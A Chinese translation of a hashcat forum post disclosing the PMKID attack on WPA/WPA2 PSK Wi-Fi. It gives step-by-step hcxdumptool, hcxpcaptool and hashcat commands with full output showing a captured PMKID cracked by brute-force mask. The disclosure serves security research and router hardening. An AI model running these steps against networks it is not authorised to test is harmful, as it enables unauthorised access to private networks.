原文:https://hashcat.net/forum/thread-7717.html

在这篇文章中,我将为大家介绍一种破解WPA PSK(Pre-Shared Key,预共享密钥)密码的新型技术。

概述


为了利用该新型攻击技术,您需要以下工具:

  • hcxdumptool v4.2.0或更高版本
  • hcxtools v4.2.0或更高版本
  • hashcat v4.2.0或更高版本

实际上,这种新型攻击手段,是笔者在探索针对新发布的WPA3安全标准的过程中偶然发现的。由于WPA3协议是建立在名为"同等身份认证"(SAE)的现代密钥建立协议基础之上的,所以,针对WPA3协议的攻击将更加难以实施。

与现有攻击手法相比,该新型攻击技术的主要不同之处在于,它无需捕获完整的EAPOL 4次握手数据。相反,新型攻击方法只需单个EAPOL帧中的RSN IE(Robust Security Network Information Element,鲁棒安全网络信息元素)数据即可。

目前,虽然我们无法确切知道哪些供应商或多少台路由器面临这种新型攻击的威胁,但我们认为,该技术至少可以有效攻击所有启用了漫游功能(大多数现代路由器都支持该功能)的802.11i/p/q/r网络。

这种新型攻击技术的主要优点如下所示:

  • 无需普通用户的参与——因为攻击者直接与AP通信(又称“无客户端”攻击)
  • 无需等待普通用户和AP之间完成4次握手
  • 无需重传EAPOL帧(可能导致无法破解的结果)
  • 普通用户无需发送无效密码
  • 当普通用户或AP离攻击者太远时,也不会丢失EAPOL帧
  • 无需修复nonce和replaycounter值(这样,速度会有所提升)
  • 无需特定的输出格式(pcap、hccapx等)——最终数据将显示为常规十六进制编码字符串

攻击技术详解


RSN IE是可选字段,常见于802.11管理帧中。其中,RSN的功能之一就是PMKID。

PMKID是通过HMAC-SHA1计算得到的,其中密钥为PMK,数据部分是由固定字符串标签“PMK Name”、接入点的MAC地址和基站的MAC地址串联而成。

PMKID = HMAC-SHA1-128(PMK, "PMK Name" | MAC_AP | MAC_STA)

由于PMK与普通的EAPOL四次握手相同,因此,这是一种非常理想的攻击向量。

我们需要的所有数据,可以从AP收到第一个EAPOL帧中获得。

攻击过程:

1.运行hcxdumptool,从AP请求PMKID,并将接收到的帧(以pcapng格式)转储到文件中。

$ ./hcxdumptool -o test.pcapng -i wlp39s0f3u4u5 --enable_status

上述命令的输出结果如下所示:

start capturing (stop with ctrl+c)
    INTERFACE:...............: wlp39s0f3u4u5
    FILTERLIST...............: 0 entries
    MAC CLIENT...............: 89acf0e761f4 (client)
    MAC ACCESS POINT.........: 4604ba734d4e (start NIC)
    EAPOL TIMEOUT............: 20000
    DEAUTHENTICATIONINTERVALL: 10 beacons
    GIVE UP DEAUTHENTICATIONS: 20 tries
    REPLAYCOUNTER............: 62083
    ANONCE...................: 9ddca61888470946305b27d413a28cf474f19ff64c71667e5c1aee144cd70a69

如果AP收到我们的请求数据包并且支持发送PMKID的话,不久就会收到"FOUND PMKID"消息:

[13:29:57 - 011] 89acf0e761f4 -> 4604ba734d4e <ESSID> [ASSOCIATIONREQUEST, SEQUENCE 4]
    [13:29:57 - 011] 4604ba734d4e -> 89acf0e761f4 [ASSOCIATIONRESPONSE, SEQUENCE 1206]
    [13:29:57 - 011] 4604ba734d4e -> 89acf0e761f4 [FOUND PMKID]

注意:根据wifi通道上的噪音情况的不同,可能需要过一段时间才能收到PMKID。我们建议,如果运行hcxdumptool超过10分钟还没收到PMKID,那么就可以放弃了。

2.运行hcxpcaptool,将捕获的数据从pcapng格式转换为hashcat可以接受的哈希格式。

$ ./hcxpcaptool -z test.16800 test.pcapng

上述命令的输出结果如下所示:

start reading from test.pcapng

    summary:
    --------
    file name....................: test.pcapng
    file type....................: pcapng 1.0
    file hardware information....: x86_64
    file os information..........: Linux 4.17.11-arch1
    file application information.: hcxdumptool 4.2.0
    network type.................: DLT_IEEE802_11_RADIO (127)
    endianess....................: little endian
    read errors..................: flawless
    packets inside...............: 66
    skipped packets..............: 0
    packets with FCS.............: 0
    beacons (with ESSID inside)..: 17
    probe requests...............: 1
    probe responses..............: 11
    association requests.........: 5
    association responses........: 5
    authentications (OPEN SYSTEM): 13
    authentications (BROADCOM)...: 1
    EAPOL packets................: 14
    EAPOL PMKIDs.................: 1

    1 PMKID(s) written to test.16800

写入文件的内容如下所示:

2582a8281bf9d4308d6f5731d0e61c61*4604ba734d4e*89acf0e761f4*ed487162465a774bfba60eb603a39f3a

各列(皆为十六进制编码)含义如下所示:

  • PMKID
  • MAC AP
  • MAC Station
  • ESSID

注意:我们建议为hcxpcaptool使用选项-E -I和-U,当然,这不是必须的。我们可以使用这些文件来“饲喂”hashcat,并且通常会产生非常好的效果。

  • -E 从WiFi流量中检索可能的密码(此外,该列表将包括ESSID)
  • -I 从WiFi流量中检索身份信息
  • -U 从WiFi流量中检索用户名
$ ./hcxpcaptool -E essidlist -I identitylist -U usernamelist -z test.16800 test.pcapng

3.运行hashcat,完成相应破解工作。

实际上,我们可以像破解其他哈希密码那样来攻击这个哈希值。在这里,我们需要使用的哈希模式是16800。

$ ./hashcat -m 16800 test.16800 -a 3 -w 3 '?l?l?l?l?l?lt!'

上述命令的输出结果如下所示:

hashcat (v4.2.0) starting...

    OpenCL Platform #1: NVIDIA Corporation
    ======================================
    * Device #1: GeForce GTX 1080, 2028/8112 MB allocatable, 20MCU
    * Device #2: GeForce GTX 1080, 2029/8119 MB allocatable, 20MCU
    * Device #3: GeForce GTX 1080, 2029/8119 MB allocatable, 20MCU
    * Device #4: GeForce GTX 1080, 2029/8119 MB allocatable, 20MCU

    Hashes: 1 digests; 1 unique digests, 1 unique salts
    Bitmaps: 16 bits, 65536 entries, 0x0000ffff mask, 262144 bytes, 5/13 rotates

    Applicable optimizers:
    * Zero-Byte
    * Single-Hash
    * Single-Salt
    * Brute-Force
    * Slow-Hash-SIMD-LOOP

    Minimum password length supported by kernel: 8
    Maximum password length supported by kernel: 63

    Watchdog: Temperature abort trigger set to 90c

    2582a8281bf9d4308d6f5731d0e61c61*4604ba734d4e*89acf0e761f4*ed487162465a774bfba60eb603a39f3a:hashcat!

    Session..........: hashcat
    Status...........: Cracked
    Hash.Type........: WPA-PMKID-PBKDF2
    Hash.Target......: 2582a8281bf9d4308d6f5731d0e61c61*4604ba734d4e*89acf...a39f3a
    Time.Started.....: Thu Jul 26 12:51:38 2018 (41 secs)
    Time.Estimated...: Thu Jul 26 12:52:19 2018 (0 secs)
    Guess.Mask.......: ?l?l?l?l?l?lt! [8]
    Guess.Queue......: 1/1 (100.00%)
    Speed.Dev.#1.....:   408.9 kH/s (103.86ms) @ Accel:64 Loops:128 Thr:1024 Vec:1
    Speed.Dev.#2.....:   408.6 kH/s (104.90ms) @ Accel:64 Loops:128 Thr:1024 Vec:1
    Speed.Dev.#3.....:   412.9 kH/s (102.50ms) @ Accel:64 Loops:128 Thr:1024 Vec:1
    Speed.Dev.#4.....:   410.9 kH/s (104.66ms) @ Accel:64 Loops:128 Thr:1024 Vec:1
    Speed.Dev.#*.....:  1641.3 kH/s
    Recovered........: 1/1 (100.00%) Digests, 1/1 (100.00%) Salts
    Progress.........: 66846720/308915776 (21.64%)
    Rejected.........: 0/66846720 (0.00%)
    Restore.Point....: 0/11881376 (0.00%)
    Candidates.#1....: hariert! -> hhzkzet!
    Candidates.#2....: hdtivst! -> hzxkbnt!
    Candidates.#3....: gnxpwet! -> gwqivst!
    Candidates.#4....: gxhcddt! -> grjmrut!
    HWMon.Dev.#1.....: Temp: 81c Fan: 54% Util: 75% Core:1771MHz Mem:4513MHz Bus:1
    HWMon.Dev.#2.....: Temp: 81c Fan: 54% Util:100% Core:1607MHz Mem:4513MHz Bus:1
    HWMon.Dev.#3.....: Temp: 81c Fan: 54% Util: 94% Core:1683MHz Mem:4513MHz Bus:1
    HWMon.Dev.#4.....: Temp: 81c Fan: 54% Util: 93% Core:1620MHz Mem:4513MHz Bus:1

    Started: Thu Jul 26 12:51:30 2018
    Stopped: Thu Jul 26 12:52:21 2018

此外,它还支持散列模式16801,这样会跳过PMK的计算——正是该计算拖慢了WPA的破解速度。因NDA而无法将哈希值传输到远程破解装置时,预先计算PMK就会变得非常有用,这时可以在您的笔记本上运行hashcat。

模式16801通常需要用到预先计算的PMK列表,其中为长度为64的十六进制编码串,作为输入词列表使用。为了预先计算PMK,可以使用hcxkeys工具。但是,hcxkeys工具需要用到ESSID,因此,我们需要提前从客户端请求ESSID。

点击收藏 | 1 关注 | 1
  • 动动手指,沙发就是你的了!
登录 后跟帖